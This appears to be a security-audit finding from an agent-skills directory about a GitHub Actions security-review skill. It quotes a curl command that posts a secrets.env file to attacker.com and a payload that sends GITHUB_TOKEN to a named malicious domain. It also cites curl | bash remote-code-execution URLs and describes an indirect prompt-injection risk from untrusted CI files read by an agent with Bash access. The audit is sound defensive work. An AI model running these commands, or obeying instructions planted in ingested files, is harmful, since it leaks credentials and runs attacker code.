The Agent Skills Directory

[DATA_EXFILTRATION]: Reference files contain active command patterns for stealing credentials. For instance, references/runner-infrastructure.md includes curl -d @/home/runner/work/*/secrets.env https://attacker.com/collect for file exfiltration. references/real-world-attacks.md documents a payload that exfiltrates the GITHUB_TOKEN to https://recv.hackmoltrepeat.com/, which is identified as a malicious phishing domain.\n- [REMOTE_CODE_EXECUTION]: The skill documents real-world attack payloads using the curl | bash pattern. references/real-world-attacks.md specifically includes the malicious URL https://hackmoltrepeat.com/molt as part of an RCE vector. Other references provide similar payloads using placeholder domains (e.g., attacker.com) to demonstrate script injection via branch names and filenames.\n- [PROMPT_INJECTION]: Indirect Prompt Injection Risk (Category 8):\n
Ingestion points: The skill is designed to read and analyze untrusted content from GitHub Actions workflows, pull request diffs, and configuration files like CLAUDE.md and AGENTS.md (specified in SKILL.md).\n
Boundary markers: No delimiters or safety instructions are defined to separate the untrusted CI data from the agent's core instructions.\n
Capability inventory: The skill uses high-capability tools including Read, Bash, and Task.\n
Sanitization: There is no documented sanitization or validation of the ingested files before processing.

gha-security-review